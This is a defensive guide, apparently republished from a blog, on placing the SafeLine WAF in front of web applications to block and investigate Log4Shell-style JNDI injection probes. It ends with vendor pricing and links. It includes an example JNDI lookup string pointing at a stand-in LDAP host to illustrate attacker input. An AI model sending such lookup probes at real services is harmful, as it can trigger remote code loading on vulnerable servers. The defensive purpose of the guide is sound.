How to Block Log4Shell Style JNDI Injection Attempts with a Layered WAF Setup
Log4Shell-style probes remain a practical concern when security owners cannot immediately confirm which internet-facing services still contain vulnerable logging dependencies. Automated scanners can place JNDI lookup exp
Log4Shell-style probes remain a practical concern when security owners cannot immediately confirm which internet-facing services still contain vulnerable logging dependencies. Automated scanners can place JNDI lookup expressions in URLs, headers, and request bodies, hoping an application records attacker-controlled text through a vulnerable logging path.
The defender's task is to reduce exposure, verify what actually reaches the application, and investigate evidence of execution. A blocked request is useful evidence of filtering, but it does not establish that the underlying dependency is safe.
This guide explains how to set up SafeLine as an HTTP/S inspection layer and validate a broader defense. The supplied SafeLine documentation describes general web attack protection, but does not document a Log4Shell-specific rule, JNDI configuration, or guaranteed coverage of obfuscated lookup expressions. Treat the following as a setup and verification checklist, with dependency remediation as a separate requirement.
1. Identify the logging exposure before changing traffic
Inventory the applications behind each public hostname, including APIs, administrative interfaces, and older services maintained by another team. Check deployed dependencies and container contents rather than relying only on a source repository's dependency file.
The attacker wants input resembling ${jndi:ldap://probe.invalid/check} to reach a vulnerable logging operation. The reserved example domain here illustrates the structure; it is not a test service. An attacker-controlled lookup destination can provide evidence that a server evaluated the expression, and a vulnerable environment may face further exploitation.
Look for suspicious lookup expressions in request records, unexpected outbound DNS or directory-service connections, and unexplained child processes. A request containing a probe establishes an attempt. Correlated outbound activity warrants deeper investigation. Neither a successful HTTP response nor an application error alone proves code execution.
2. Prepare a supported SafeLine host
SafeLine is a self-hosted WAF that filters and monitors HTTP traffic in front of web applications. Its documented deployment model places a reverse proxy between clients and the application. See the official overview.
For a straightforward deployment, prepare a Linux x86_64 host. The installation guide lists Docker 20.10.14 or later, Docker Compose 2.0.0 or later, and minimum resources of one CPU core, 1 GB of memory, and 5 GB of disk. It also lists an SSSE3 CPU requirement. Check the complete requirements and architecture conditions in the installation guide.
These documented commands help verify the environment:
uname -m
docker version
docker compose version
free -h
df -h
lscpu | grep ssse3
Allow capacity for your actual traffic and operational needs; minimum installation requirements are not a workload sizing guarantee.
3. Install SafeLine and establish administrative access
Follow the automated or manual procedure in the official installation guide. The automated installation requires root privileges. If using the manual procedure, follow its current environment-variable, secret-generation, and permission instructions completely.
The documented console address is https://<safeline-ip>:9443/. The guide provides this command to obtain administrator credentials:
docker exec safeline-mgt resetadmin
Keep administrative access restricted to the operators who need it. Before routing production traffic, record the existing DNS configuration and prepare a rollback procedure so a configuration error can be corrected quickly.
4. Add the application and close alternate ingress paths
In the SafeLine console, open Applications, select Add Application, and configure the application's domain, listening port, and upstream address. For HTTPS, the documentation instructs operators to select the SSL option. Then resolve the application domain to the SafeLine server's IP address. These fields and routing steps are documented in Protecting an application.
Verify that normal requests reach the intended upstream and that essential application workflows still succeed. Separately, restrict direct access to the origin using your network controls. Otherwise, a scanner that discovers the origin address can bypass the inspection path.
Include alternate hostnames, legacy listeners, and API endpoints in this check. Changing the main hostname's DNS record does not establish that every route to the application passes through the WAF.
5. Validate filtering and define the incident decision
Start with an authorized staging environment. The application setup guide supplies common attack examples and explains how to inspect the attack list and open an entry's detail view. Use those examples to confirm that traffic traverses SafeLine and that blocking is observable. See the documented validation workflow.
Then assess JNDI handling separately in an isolated environment with controlled egress. Cover the inputs your application actually logs, including relevant headers and request bodies. Do not send lookup probes to production services whose logging behavior is unknown. Generic attack blocking does not demonstrate coverage of every JNDI variant.
Correlate the request timestamp, destination, WAF outcome, upstream records, and outbound network telemetry. If a test reaches the upstream, review routing and protection behavior before claiming coverage. If a lookup produces unexpected outbound activity, investigate the affected service and its dependencies. Suspicious processes, file changes, or credential use should trigger your incident response procedure.
Patch or replace vulnerable dependencies, rebuild affected artifacts, and verify the deployed result. Retain network egress restrictions and monitoring as additional controls.
Does SafeLine explicitly guarantee Log4Shell protection?
The supplied official documents describe general web attack defenses but do not establish a Log4Shell-specific guarantee. Validate relevant traffic patterns and remediate vulnerable dependencies.
Does a blocked JNDI probe mean the server was compromised?
No. It shows that an attempt was observed and blocked at that inspection point. Investigate earlier requests, alternate ingress paths, outbound activity, and host evidence before drawing a compromise conclusion.
Should I block only the literal string ${jndi:?
A literal match can miss transformed expressions and can also affect legitimate text. Evaluate any filtering approach against representative malicious and legitimate inputs. The supplied documentation does not specify a SafeLine custom rule procedure for this string.
Can the WAF replace dependency patching?
No. HTTP filtering reduces exposure along the inspected route. Dependency remediation addresses the vulnerable logging behavior, including inputs that may arrive through other services or internal systems.
SafeLine has surpassed 700,000 installations worldwide as of September 30, 2026. SafeLine Pro annual promotional pricing is $650-$880, compared with the regular $1,000 per year.
- SafeLine website: https://ly.cyberserval.tech/bvK1BAV
- Demo: https://demo.waf.chaitin.com:9443/statistics
- Official docs: https://docs.waf.chaitin.com/en/home
- GitHub: https://github.com/chaitin/SafeLine
- Pro offer: https://cyberserval.tech/landing/lto
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.